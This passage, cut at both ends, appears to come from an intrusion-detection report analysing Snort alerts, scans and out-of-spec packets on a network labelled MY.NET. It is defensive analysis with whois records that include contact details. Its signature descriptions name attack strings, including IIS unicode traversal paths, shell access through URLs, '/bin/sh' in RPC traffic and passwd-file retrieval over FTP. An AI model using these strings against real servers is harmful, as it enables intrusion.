<td>121</td>
<td>23</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Echo Request CyberKit 2.2 Windows</td>
<td>119</td>
<td>33</td>
<td></td>
<td></td>
</tr>
<tr>
<td>INFO - Possible Squid Scan</td>
<td>115</td>
<td>9</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CS WEBSERVER - external ftp traffic</td>
<td>102</td>
<td>27</td>
<td></td>
<td></td>
</tr>
<tr>
<td>INFO Outbound GNU/Tella Connect accept</td>
<td>91</td>
<td>80</td>
<td></td>
<td></td>
</tr>
<tr>
<td>INFO Napster Client Data</td>
<td>86</td>
<td>16</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SUNRPC highport access!</td>
<td>72</td>
<td>3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>BACKDOOR NetMetro Incoming Traffic</td>
<td>71</td>
<td>2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>TFTP - Internal TCP connection to external tftp server</td>
<td>63</td>
<td>3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>WEB-MISC count.cgi access</td>
<td>62</td>
<td>27</td>
<td></td>
<td></td>
</tr>
<tr>
<td>WEB-MISC http directory traversal</td>
<td>59</td>
<td>32</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SNMP public access</td>
<td>50</td>
<td>5</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- Large UDP packet seen
- "get /?" query seen. This can be a Reconnaissance attack
- Potential ICMP echo request from a BSD machine
- ICMP congestion control request
- Microsoft Instant Messenger data has been seen
- A proxy scan has been seen
- The ICMP sender has been configured to block access to the desired network
- The sender is aware of the existence of the host, but is unable to get ARP replies (host currently not available)
- Nmap and HPING2 can send the same sort of ICMP Echo Requests
- Alert message often seen in a type of reconnaissance attack allowing an attacker to map networks or ports (in this case, only sending 1 fragment of the packet and awaiting the message that can reveal crucial information).
- Anonymous ftp detected
- SMB Name wildcard seen. Windows explorer often generates this when it tries to scan for other SMB machines.
- The destination transport layer does not support transport protocol specified in the packet.
- Suspicious traffic seen from The Computer Network Center Chinese Academy of Sciences
- Fragmented packets seen. This can possibly be an attempt to bypass IDS sensors.
- Http attack, attempt to remotely execute cmd.exe
- GNU/Tella connection detected
- ICMP network discovery (Attempt to find router)
- Attempts to access forbidden web URLs
- Remote Procedure Call from external source
- IRC traffic seen (usually port 6666-6667, etc.)
- Windows machine generating Echo Requests
- Traceroute (ICMP type)
- Reconnaissance scan where no TCP flags where set in the packet
- TCP connection with a SRC and DST that does not belong to network
- Failed Telnet login attempts (bad password or login name)
- Nmap ping attempts
- Denial of Service on ftp daemon
- Access to port 55850 associated with myserver (DDOS agent). This is the common port this DDOS agent listens on. 6 ICMP Echo Request from CyberKit 2.2 running on windows
- Squid Proxy scan (port 3128)
- External ftp traffic seen (Webserver)
- Outgoing Gnutella connection seen
- Napster traffic seen
- RPC access on high port. More details here [http://www.sans.org/y2k/011000.htm](http://www.sans.org/y2k/011000.htm)
- NetMetro Backdoor detected.
<table>
<thead>
<tr>
<th>Scan Event</th>
<th>Count</th>
<th>Probability</th>
</tr>
</thead>
<tbody>
<tr>
<td>ICMP Destination Unreachable</td>
<td>46</td>
<td>Low</td>
</tr>
<tr>
<td>SMTP relaying denied</td>
<td>43</td>
<td>Low</td>
</tr>
<tr>
<td>connect to 515 from inside</td>
<td>42</td>
<td>Low</td>
</tr>
<tr>
<td>INFO Inbound GNU Tella Connect request</td>
<td>40</td>
<td>Low</td>
</tr>
<tr>
<td>WEB-IIS view source via translate header</td>
<td>37</td>
<td>Low</td>
</tr>
<tr>
<td>WEB-IIS Unauthorized IP Access Attempt</td>
<td>36</td>
<td>Low</td>
</tr>
<tr>
<td>WEB-IIS _vti_inf access</td>
<td>35</td>
<td>Low</td>
</tr>
<tr>
<td>Port 55850 udp - Possible myserver activity - ref. 010313-1</td>
<td>33</td>
<td>Low</td>
</tr>
<tr>
<td>High port 65535 tcp - possible Red Worm traffic</td>
<td>33</td>
<td>Low</td>
</tr>
<tr>
<td>WEB-CGI redirect access</td>
<td>33</td>
<td>Low</td>
</tr>
<tr>
<td>Possible trojan server activity</td>
<td>32</td>
<td>Low</td>
</tr>
<tr>
<td>DDOS shaft client to handler</td>
<td>25</td>
<td>Low</td>
</tr>
<tr>
<td>SCAN FIN</td>
<td>24</td>
<td>Low</td>
</tr>
<tr>
<td>TELNET access</td>
<td>20</td>
<td>Low</td>
</tr>
<tr>
<td>ICMP Echo Request Sun Solaris</td>
<td>17</td>
<td>Low</td>
</tr>
<tr>
<td>ICMP redirect (Host)</td>
<td>15</td>
<td>Low</td>
</tr>
<tr>
<td>ICMP Echo Request L3retriever Ping</td>
<td>15</td>
<td>Low</td>
</tr>
<tr>
<td>MISC Large ICMP Packet</td>
<td>15</td>
<td>Low</td>
</tr>
<tr>
<td>High port 65535 udp - possible Red Worm traffic</td>
<td>14</td>
<td>Low</td>
</tr>
<tr>
<td>EXPLOIT x86 NOOP</td>
<td>13</td>
<td>Low</td>
</tr>
<tr>
<td>beetle.ucs</td>
<td>12</td>
<td>Low</td>
</tr>
<tr>
<td>Virus - Possible scr Worm</td>
<td>11</td>
<td>Low</td>
</tr>
<tr>
<td>INFO napster login</td>
<td>10</td>
<td>Low</td>
</tr>
<tr>
<td>ICMP Destination Unreachable (Network Unreachable)</td>
<td>9</td>
<td>Low</td>
</tr>
<tr>
<td>INFO - Web Cmd completed</td>
<td>8</td>
<td>Low</td>
</tr>
<tr>
<td>WEB-CGI scriptalias access</td>
<td>8</td>
<td>Low</td>
</tr>
<tr>
<td>EXPLOIT x86 setuid 0</td>
<td>8</td>
<td>Low</td>
</tr>
<tr>
<td>WEB-CGI formmail access</td>
<td>8</td>
<td>Low</td>
</tr>
<tr>
<td>SMTP chameleon overflow</td>
<td>8</td>
<td>Low</td>
</tr>
<tr>
<td>SCAN Synscan Portscan ID 19104</td>
<td>8</td>
<td>Low</td>
</tr>
<tr>
<td>WEB-IIS File permission canonicalization</td>
<td>7</td>
<td>Low</td>
</tr>
<tr>
<td>Incomplete Packet Fragments Discarded</td>
<td>7</td>
<td>Low</td>
</tr>
<tr>
<td>WEB-MISC compaq might directory traversal</td>
<td>7</td>
<td>Low</td>
</tr>
</tbody>
</table>

2 DF bit is set on the packet (no fragmentation) but the packet is too large to be transmitted by the router.

9 Attempt to relay SMTP (mail) refused

1 Inside connection attempt to port 515 (LPRng). Possible exploit attempt.

8 Request to connect to internal Gnunet server

5 “Translate][a F” String detected in header. Possible Reconnaissance attack.

9 IIS access attempt (String “403” and “Forbidden!” is scanned for)

8 Attempt to access the / _vti_rpc dir

6 Attempt to access the / _vti_inf dir

1 Access to port 55850 associated with myserver (DDOS agent). This is the common port this DDOS agent listens on.

7 Possible Worm traffic seen due to high TCP port activity

5 HTML Redirect calls may leak information on ColdFusion ClusterCATS. CVE-2000-0382

8 A Trojan server has been seen.

7 FIN Scan detected (attempt to close a connection that isn’t open and monitoring the reply or lack of reply)

9 Telnet access has been detected

1 ICM Redirect packet seen. See detect #4 in assignment 1 for more details

2 ICMP Echo request detected. This was often found to be a False positive. Win2k clients matches the signature scanned for when requesting ICMP echo’s.

9 Large ICMP packet seen. Can be caused by HP-UX or AIX machines or load-balancing.

5 High UDP port detected, could be indicative of worm activity

5 Potential Buffer overflow attempts (scans for multiple 0x90, in the packet content)

5 Connections to beetle.ucs machine: MY.NET.70.69

9 Large ICMP packet seen. Can be caused by HP-UX or AIX machines or load-balancing.

7 Possible scr Worm detected (like W32/GONER@MM). The rule scans for “.scr” in the packet content (often associated with screensavers).

6 Potential Napster connection detected

4 Alert is generated when route to destination network is unavailable.

4 A command was run successfully

3 Detected attempt to use the script alias function. There is a known exploit in NCSA and Apache httpd: http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=discussion&id=2300

4 Setuid 0 attempt on a x86 type machine.

2 Attempt to access /formmail.

5 Attempted Overflow on the SMTPd from Netmanage Chameleon

6 Syn scan detected with an ID of 19104

1 The rule scans for the following strings : /scripts/.%c0%af../, /scripts/.%c1%9c../ and is an attempt to rebuild a fragmented packet

2 Alert is generated when the defragmentation preprocessor fails to rebuild a fragmented packet

3 Compaq Management Agents and the Compaq Survey Utility can allow an attacker to have access to files he doesn’t have read permissions on if he uses a directory traversal technique (...).CVE-1999-0771
<table>
<thead>
<tr>
<th>Event Description</th>
<th>Count 1</th>
<th>Count 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>WEB-FRONTPAGEAGE fpcount.exe access</td>
<td>7</td>
<td>4</td>
</tr>
<tr>
<td>WEB-MISC Lotus Domino directory traversal connect to 515 from outside</td>
<td>7</td>
<td>5</td>
</tr>
<tr>
<td>WEB-CGI rsh access</td>
<td>6</td>
<td>2</td>
</tr>
<tr>
<td>IDS50/trojan_trojan-active-subseven [arachNIDS]</td>
<td>6</td>
<td>2</td>
</tr>
<tr>
<td>WEB-CGI csh access</td>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>External FTP to HelpDesk MY.NET.70.50</td>
<td>4</td>
<td>1</td>
</tr>
<tr>
<td>RFB - Possible WinVNC - 010708-1</td>
<td>4</td>
<td>2</td>
</tr>
<tr>
<td>WEB-CGI ksh access</td>
<td>4</td>
<td>3</td>
</tr>
<tr>
<td>spp_http_decode: CGI Null Byte attack detected</td>
<td>4</td>
<td>3</td>
</tr>
<tr>
<td>WEB-CGI archive cgi</td>
<td>4</td>
<td>3</td>
</tr>
<tr>
<td>Virus - Possible MyRomeo Worm</td>
<td>4</td>
<td>3</td>
</tr>
<tr>
<td>MISC PCAnywhere Startup</td>
<td>4</td>
<td>3</td>
</tr>
<tr>
<td>X11 outgoing</td>
<td>4</td>
<td>4</td>
</tr>
<tr>
<td>WEB-FRONTPAGEAGE shtml.exe</td>
<td>3</td>
<td>1</td>
</tr>
<tr>
<td>ICMP Destination Unreachable (Source Host Isolated)</td>
<td>3</td>
<td>1</td>
</tr>
<tr>
<td>Attempted Sun RPC high port access</td>
<td>3</td>
<td>1</td>
</tr>
<tr>
<td>x86 NOOP - unicode BUFFER OVERFLOW ATTACK</td>
<td>3</td>
<td>2</td>
</tr>
<tr>
<td>WEB-IIS scripts-browse</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>FTP STOR 1MB possible warez site</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>External FTP to HelpDesk MY.NET.70-49</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>DNS zone transfer</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>DDOS mstream handler to client</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>TFTP - External UDP connection to internal tftp server</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>EXPLOIT x86 stealth hoop</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>WEB-CGI tsch access</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>External FTP to HelpDesk MY.NET.83.197</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>EXPLOIT x86 setgid 0</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>WEB-MISC Invalid URL</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>WEB-MISC guestbook.cgi access</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>WEB-CGI survey.cgi access</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>WEB-CGI glimpse access</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>SCAN XMAS</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>SCAN - wayboard request - allows reading of arbitrary files as http service</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>RPC tcp traffic contains bin_sh</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>MISC solaris 2.5 backdoor attempt</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>INFO - Web Dir listing</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>

2 Attempt to access /fpcount.exe in an URL.
4 Attempted directory traversal on a Lotus Domino machine. The rule scans for “.rnf” in the packet content.
6 Connection to port 515 (LPRng) from an external source. Possible overflow attempt.
1 Attempt to access rsh thru an URL. The rule checks for the occurrence of the string “rsh” in the URL command. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0509
2 Scans for and internal connection on port 1243 to external 1024. This can potentially be subseven Trojan activity.
2 Attempt to access csh thru an URL. The rule checks for the occurrence of the string “csh” in the URL command. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0509
1 External FTP connection detected to MY.NET.70.50
2 Possible WinVNC connection seen (remote admin tool)
4 Attempt to access ksh thru an URL. The rule checks for the occurrence of the string “/ksh” in the URL command. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0509
2 Overflow attempt. The rule looks for the occurrence of the string “90009000900090009000” in the packet.
1 Attempted reconnaissance scan. URL contains the string:” bin/cvename.cgi?name=CAN-1999-0509
1 Attempt to access csh thru an URL. The rule checks for the occurrence of the string “/csh” in the URL command.
2 NOOP are often used to “pad” buffer overflows. A series of NOOP codes has been seen.
1 Attempt to access tsch thru an URL. The rule checks for the occurrence of the string “/tsch” in the URL command. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0509
1 External FTP connection to HelpDesk MY.NET.83.197
2 A setgid 0 has been seen
1 Invalid URL entered.
1 Attempted access to a cgi script
1 Attempted access to cgi script
1 Attempt to access the glimpse function.
1 XMAS type scan detected (all flags are set)
1 Web board script that can allow reading of files on the server.
1 TCP traffic contains string/bin/sh (in an RPC). http://xforce.iss.net/static/6091.php
1 Attempted backdoor access. The rule scans for the string “friday”
I will, more closely, examine some of the most important alerts from this list. Obviously, all these alerts should be investigated and the packet content that triggered them should be carefully examined.

Watchlist 000220 IL-ISDNNET-990517

These alerts were generated because traffic was seen coming from a potentially dangerous ISDN network in Israel.

Sources:
212.179.35.118 , 212.179.79.2 , 212.179.68.65 , 212.179.2.220 , 212.179.112.100 ,
212.179.48.194 , 212.179.126.3 , 212.179.35.6 , 212.179.68.141 , 212.179.72.53 ,
212.179.5.87 , 212.179.9.204 , 212.179.46.177 , 212.179.19.161 , 212.179.79.131 , 212.179.127.51 ,
212.179.24.129 , 212.179.15.203 , 212.179.127.32 , 212.179.5.129 , 212.179.25.58

Here is the registration information:

% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum: 212.179.46.160 - 212.179.46.191
netname: DTE-LTD
mnt-by: INET-MGR
descr: DTE-LAN
country: IL
admin-c: YO141-RIPE
tech-c: YO141-RIPE
status: ASSIGNED PA
notify: hostmaster@isdn.net.il
changed: hostmaster@isdn.net.il 20010813
It is likely that these alerts are false positives and that nothing serious happened. But I would still recommend keeping an eye out for any traffic coming from this source.

**MISC Large UDP Packet**

Here are the top offenders for this alert:

61.150.5.19
209.249.123.125
203.74.13.162
4.61.154.153

Most of the alerts were generated by the 61.150.5.19 machine. Here’s a sample of the alerts

(snip)
There are 10746 alerts generated by this single machine and the destination address (MY.NET.111.145) generated 150 of these alerts in response.

A series large UDP packet where sent to the machine and it couldn’t handle it and couldn’t reassemble the heavily fragmented packets in time.

Here is the registration information:

% Rights restricted by copyright. See
http://www.apnic.net/db/dbcopyright.html
% (whois6.apnic.net)

inetnum:  61.150.0.0 - 61.150.31.255
netname:  SNXIAN
descr:  xi’an data branch,XIAN CITY SHAANXI PROVINCE
country:  CN
admin-c:  WWN1-AP
tech-c:  WWN1-AP
mnt-by:  MAINT-CIHANET-SHAANXI
The traffic is somewhat strange and further investigation might be advisable.

**ICMP Source Quench**

MY.NET.5.13 generated a lot of these congestion (or flow) control alerts. This machine should be looked into.

**Queso fingerprint**

Here are the offenders for this OS fingerprinting reconnaissance attack ordered by the number of scans:

206.65.191.129, 199.183.24.194, 24.219.121.208, 65.105.159.22, 204.228.228.145, 217.226.42.119, 206.103.97.87, 141.157.92.22, 64.229.235.159, 202.75.185.186, 213.239.132.80, 217.230.17.77, 205.230.159.75, 212.38.107.34, 66.61.81.4, 80.128.160.55, 24.183.9.49, 213.84.157.192, 212.94.201.63, 206.71.123.137, 194.183.188.133, 216.119.141.202, 216.119.141.203, 207.228.236.26, 205.230.159.76, 66.65.70.168, 12.230.253.9, 213.239.132.71, 63.71.152.2, 209.150.125.194, 216.52.244.143, 63.197.77.88

206.65.191.129 (from UUNET) performed the most scans and targeted MY.NET.98.187 and MY.NET.98.177. These two machines should be examined, because QUESO scans often lead to other (more precise) attacks.

Here is the Whois information:

UUNET Technologies, Inc. ([NETBLK-NETBLK-UUNETCBLK64-67])
3060 Williams Drive, Suite 601
Fairfax, Virginia 22031
US

Netname: NETBLK-UUNETCBLK64-67
Netblock: 206.64.0.0 - 206.67.255.255
Maintainer: UU

Coordinator:
UU.NET Postmaster (UUPM-ARIN) postmaster@uunet.uu.net
703-206-5440

Domain System inverse mapping provided by:

AUTH00.NS.UU.NET 198.6.1.65
AUTH01.NS.UU.NET 198.6.1.81

ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

Record last updated on 26-Sep-2001.
Database last updated

SCAN Proxy attempt

65.165.14.43 was the most active scanner.

Here is the registration information:

Sprint (NETBLK-SPRINTLINK-2-BLKS) SPRINTLINK-2-BLKS 65.160.0.0 -
65.174.255.255
SYSTEMS SOLUTIONS INC (NETBLK-FON-110133555275610) FON-
110133555275610 65.165.12.0 - 65.165.15.255

ICMP Echo Request BSDtype

147.46.59.144, 141.213.11.120, 128.223.4.21, MY.NET.60.39 where the top attackers.
External RPC Call

132.177.65.127 generated all the alerts (393 of them).

Remote Procedure calls from external machines are suspicious, the attacker and the targets should be examined.

Here is the registration information for the attacker:

University of New Hampshire (NET-UNH)
50 College Road
Durham, NH 03824
US

Netname: UNH
Netblock: 132.177.0.0 - 132.177.255.255

Coordinator:
Kitterman, Scott T. (STK2-ARIN) stk@HOPPER.UNH.EDU
(603) 862-4776

Domain System inverse mapping provided by:

NIC.UNH.EDU 132.177.128.99
UNHSST.UNH.EDU 132.177.128.56
NS1.UNH.EDU 132.177.100.31
NS2.UNH.EDU 132.177.101.32

Record last updated on 31-Aug-1999.
Database last updated on 17-Jan-2002 02:39:51 EDT.

Alan Woodroffe detected similar scans in a previous practical:
FTP DoS ftpd globbing

Sources:
159.134.222.37, 12.40.162.100, 198.173.24.162, 202.75.160.254, 217.128.209.11, 128.252.153.27

Destinations:
MY.NET.97.165, MY.NET.98.236, MY.NET.97.201, MY.NET.98.117, MY.NET.130.123, MY.NET.97.173

These attackers “potentially” tried to perform a denial of service attack on the internal servers. The administrators should make sure that the ftp daemons running on those machines are all up to date and secured.

BACKDOOR NetMetro Incoming Traffic

Source: 208.62.15.41, 63.68.255.2
Destination: MY.NET.60.8, MY.NET.60.17

The destination addresses should be investigated.

John Jenkinson (http://www.giac.org/practical/John_Jenkinson_GCIA.doc) has also detected some NetMetro (file list) activity in a previous practical.

EXPLOIT x86 NOOP

Sources:
209.213.198.80, 131.118.254.130, 207.46.177.148, 207.188.7.175, 12.254.213.244

Destinations:
MY.NET.217.118, MY.NET.1.6, MY.NET.98.184, MY.NET.98.117, MY.NET.233.106

The destination machines should be examined due to the fact that a buffer overflow might have been attempted. NOOP’s are often used to “pad” buffer overflow attempts.

EXPLOIT x86 setuid 0

A setuid 0 command has been seen. This could indicate that the destination machines have been compromised and that an external user has gained higher privileges.

Sources:
Here are the alerts generated by the 194.75.172.2 machine. This is probably an attempt to spread a worm like Nimda:

<table>
<thead>
<tr>
<th>Date/Time</th>
<th>Category</th>
<th>Source IP Address</th>
<th>Dest IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>12/26-23:44:41.459044</td>
<td>WEB-MISC Attempt to execute cmd</td>
<td>194.75.172.2:17198</td>
<td>MY.NET.253.123:80</td>
</tr>
<tr>
<td>12/26-23:44:42.071721</td>
<td>WEB-MISC Attempt to execute cmd</td>
<td>194.75.172.2:17198</td>
<td>MY.NET.253.123:80</td>
</tr>
<tr>
<td>12/26-23:44:46.603879</td>
<td>WEB-MISC Attempt to execute cmd</td>
<td>194.75.172.2:15131</td>
<td>MY.NET.253.123:80</td>
</tr>
<tr>
<td>12/26-23:45:03.079906</td>
<td>WEB-IIS File permission canonicalization</td>
<td>194.75.172.2:17198</td>
<td>MY.NET.253.123:80</td>
</tr>
<tr>
<td>12/26-23:45:06.573252</td>
<td>WEB-IIS File permission canonicalization</td>
<td>194.75.172.2:17198</td>
<td>MY.NET.253.123:80</td>
</tr>
<tr>
<td>12/26-23:46:27.584310</td>
<td>WEB-IIS File permission canonicalization</td>
<td>194.75.172.2:17198</td>
<td>MY.NET.253.123:80</td>
</tr>
<tr>
<td>12/26-23:48:27.581836</td>
<td>WEB-IIS File permission canonicalization</td>
<td>194.75.172.2:17198</td>
<td>MY.NET.253.123:80</td>
</tr>
</tbody>
</table>
IDS50/trojan_trojan-active-subseven
Potential Subseven Trojan activity has been detected. These machines should be examined as soon as possible.
Sources:
MY.NET.70.148, MY.NET.130.123
Destinations:
204.152.184.75, 80.11.231.201

**x86 NOOP - unicode BUFFER OVERFLOW ATTACK**

The source machine might have been compromised.

**EXPLOIT x86 stealth noop**
The source machine should be investigated. There seems to be a lot of “buffer overflow” type of attempts.

**EXPLOIT x86 setgid 0**

<table>
<thead>
<tr>
<th>Date</th>
<th>Event Description</th>
<th>Source IP Address</th>
<th>Destination IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>12/28-01:19</td>
<td><strong>EXPLOIT x86 setgid 0</strong> 216.136.154.74:443 -&gt; MY.NET.98.190:51076</td>
<td></td>
<td></td>
</tr>
<tr>
<td>12/26-12:50</td>
<td><strong>EXPLOIT x86 setgid 0</strong> 207.138.238.43:1025 -&gt; MY.NET.98.116:1214</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Setgid 0 command has been seen. The destination machines should be examined for signs of compromise.

**FTP passwd attempt**

<table>
<thead>
<tr>
<th>Date</th>
<th>Event Description</th>
<th>Source IP Address</th>
<th>Destination IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>12/26-16:01</td>
<td><strong>INFO FTP anonymous FTP</strong> 213.213.40.179:1549 -&gt; MY.NET.253.105:21</td>
<td></td>
<td></td>
</tr>
<tr>
<td>12/26-16:01</td>
<td><strong>INFO FTP anonymous FTP</strong> 213.213.40.179:1568 -&gt; MY.NET.253.105:21</td>
<td></td>
<td></td>
</tr>
<tr>
<td>12/26-16:01</td>
<td><strong>FTP passwd attempt</strong> 213.213.40.179:1570 -&gt; MY.NET.253.105:21</td>
<td></td>
<td></td>
</tr>
<tr>
<td>12/26-16:03</td>
<td><strong>INFO FTP anonymous FTP</strong> 213.213.40.179:1602 -&gt; MY.NET.253.105:21</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

213.213.40.179 used anonymous ftp to connect to MY.NET.253.105 and ran a query containing the string “passwd”. The attacker might have tried to download a passwd file that contains the login and password information. The ftp server should be secured and the option of using anonymous ftp to connect to this machine should be re-evaluated.

All other alerts should be looked into more carefully. The rules that triggered the alerts should also be considered in the analysis to minimize the number of false positives.

**Scan analysis**

This is the distribution of the type of scans performed.
It is obvious that the vast majority of scans were UDP and SYN. The main external sources of the attacks are 212.95.76.165 and 24.138.61.171 and they were both SYN scans. The internal address MY.NET.87.50 was responsible for most of the UDP scans and should be investigated.

Here is their respective registration information for the external addresses:

**212.95.76.165**

% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit [http://www.ripe.net/rpsl](http://www.ripe.net/rpsl) for more information.
% Rights restricted by copyright.
% See [http://www.ripe.net/ripencc/pub-services/db/copyright.html](http://www.ripe.net/ripencc/pub-services/db/copyright.html)

```
inetnum:      212.95.72.0 - 212.95.79.255
netname:      EV
descr:        Est-Videocommunication
descr:        26 Boulevard du president Wilson
descr:        67954 Strasbourg Cedex
descr:        France
descr:        Ip Block #1 provided by SdV
country:      FR
admin-c:      EA359-RIPE
```
| tech-c: | SG727-RIPE |
| status: | ASSIGNED PA |
| notify: | ripe-dbm@sdv.fr |
| mnt-by: | SDV |
| mnt-lower: | SDV |
| changed: | salim@sdv.fr 20001128 |
| source: | RIPE |
| route: | 212.95.64.0/19 |
| descr: | FR-SDV |
| descr: | SdV Plurimedia IP-Block #1 |
| origin: | AS8839 |
| cross-mnt: | SDV |
| mnt-by: | SDV |
| changed: | salim@sdv.fr 19991209 |
| source: | RIPE |
| person: | Etienne ANSELM |
| address: | Est Videocommunication |
| address: | 42, route de Bischwiller |
| address: | 67300 Schiltigheim, France |
| phone: | +33 3 88 76 44 63 |
| fax-no: | +33 3 88 76 44 69 |
| e-mail: | estvideo@evc.net |
| nic-hdl: | EA359-RIPE |
| notify: | addr-reg@rain.fr |
| mnt-by: | RAIN-TRANS PAC |
| changed: | noc@rain.fr 19970610 |
| source: | RIPE |
| person: | Salim GASMI |
| address: | SDV PLURIMEDIA |
| address: | 15, rue de la nuee bleue |
| address: | 67000 STRASBOURG |
| address: | France |
| phone: | +33 3 88 75 80 50 |
| fax-no: | +33 3 88 23 56 32 |
| e-mail: | netmaster@sdv.fr |
| nic-hdl: | SG727-RIPE |
| mnt-by: | RAIN-TRANS PAC |
changed: ingo@rain.fr 20000309
source: RIPE

24.138.61.171

Access Cable Television (NETBLK-ACCESS-BLK1)
190 Victoria Rd
Dartmouth, Nova Scotia B2Y 4A4
CA

Netname: ACCESS-BLK1
Netblock: 24.138.0.0 - 24.138.79.255
Maintainer: ACCA

Coordinator:
Potvin, Jeff (JP1495-ARIN) jpotvin@accesscable.com
(902) 469-9540 (FAX) (902) 466-6482

Domain System inverse mapping provided by:

EUROPA.ACCESSCABLE.NET 24.138.0.5
PEGGY.ACCESSCABLE.NET 24.138.0.7

Database last updated on 17-Jan

All the scan attempts should be taken seriously. They can lead to more targeted attacks and provide a lot of information to attackers. Internal machines that are performing scans should also be examined and the scans should be compliant with the procedures and Security policies in place.
This is the distribution of the scans performed during the time period.

![Scans by Date](chart.png)

You can notice that most of the activity was during the 26th and 27th and things seem to have calmed down from the 29th to the 30th. The machine who were scanned should be looked into. Scans are often the first step used by attackers. The internal machine responsible for most of the UDP scans should be looked at closely and it should be determined why those scans were performed.
OOS Analysis

Here we can see the distribution of the OOS packets seen on the network.

These packets were flagged “out-of-spec” for various reasons. Most of them contained very high TTL values or were corrupted.
Lets look at the most important offenders:

199.183.24.194

Sample log message:

TCP TTL:52 TOS:0x0 ID:2040  DF
21S***** Seq: 0xEF860B52   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 239078570 0 EOL EOL EOL EOL
(snip)

Attacks coming from 199.183.24.194 to MY.NET.253.43 where the most common and are probably due to a mis configured mail server. Here’s the registration information:

ICG NetAhead, Inc. (NET-ICG-BLK-BLK4-C)  ICG-BLK-BLK4-C
icg.netahead.com 199.183.16.0 - 199.183.143.255

Red Hat Software (NET-REDHAT)  REDHAT 199.183.24.0 - 199.183.24.255

24.219.121.208

Sample log message:

12/27-21:48:00.948298 24.219.121.208:3419 -> MY.NET.6.7:80
TCP TTL:45 TOS:0x0 ID:14031  DF
21S***** Seq: 0xF3D96328   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 222057959 0 EOL EOL EOL EOL

These packets look like http traffic. Here’s the registration information:

BroadbandNow (NET-BBNOWNET)  BBNOWNET 24.219.0.0 - 24.219.255.255

I3S, Inc. (NETBLK-I3S-NW-2)  I3S-NW-2 24.219.112.0 - 24.219.127.255

65.105.159.22

<table>
<thead>
<tr>
<th>ID</th>
<th>source</th>
<th>sourceport</th>
<th>dest</th>
<th>destport</th>
</tr>
</thead>
<tbody>
<tr>
<td>138</td>
<td>65.105.159.22</td>
<td>43983</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>66</td>
<td>65.105.159.22</td>
<td>56637</td>
<td>MY.NET.253.42</td>
<td>25</td>
</tr>
<tr>
<td>73</td>
<td>65.105.159.22</td>
<td>59379</td>
<td>MY.NET.6.35</td>
<td>25</td>
</tr>
<tr>
<td>77</td>
<td>65.105.159.22</td>
<td>55360</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>ID</td>
<td>source</td>
<td>sourceport</td>
<td>dest</td>
<td>destport</td>
</tr>
<tr>
<td>----</td>
<td>------------</td>
<td>------------</td>
<td>-------------</td>
<td>----------</td>
</tr>
<tr>
<td>78</td>
<td>65.105.159.22</td>
<td>55360</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>79</td>
<td>65.105.159.22</td>
<td>55360</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>80</td>
<td>65.105.159.22</td>
<td>55360</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>82</td>
<td>65.105.159.22</td>
<td>48615</td>
<td>MY.NET.253.42</td>
<td>25</td>
</tr>
<tr>
<td>88</td>
<td>65.105.159.22</td>
<td>41996</td>
<td>MY.NET.6.35</td>
<td>25</td>
</tr>
<tr>
<td>135</td>
<td>65.105.159.22</td>
<td>47432</td>
<td>MY.NET.253.42</td>
<td>25</td>
</tr>
<tr>
<td>48</td>
<td>65.105.159.22</td>
<td>32802</td>
<td>MY.NET.253.42</td>
<td>25</td>
</tr>
<tr>
<td>137</td>
<td>65.105.159.22</td>
<td>43983</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>158</td>
<td>65.105.159.22</td>
<td>35337</td>
<td>MY.NET.6.40</td>
<td>25</td>
</tr>
<tr>
<td>139</td>
<td>65.105.159.22</td>
<td>32939</td>
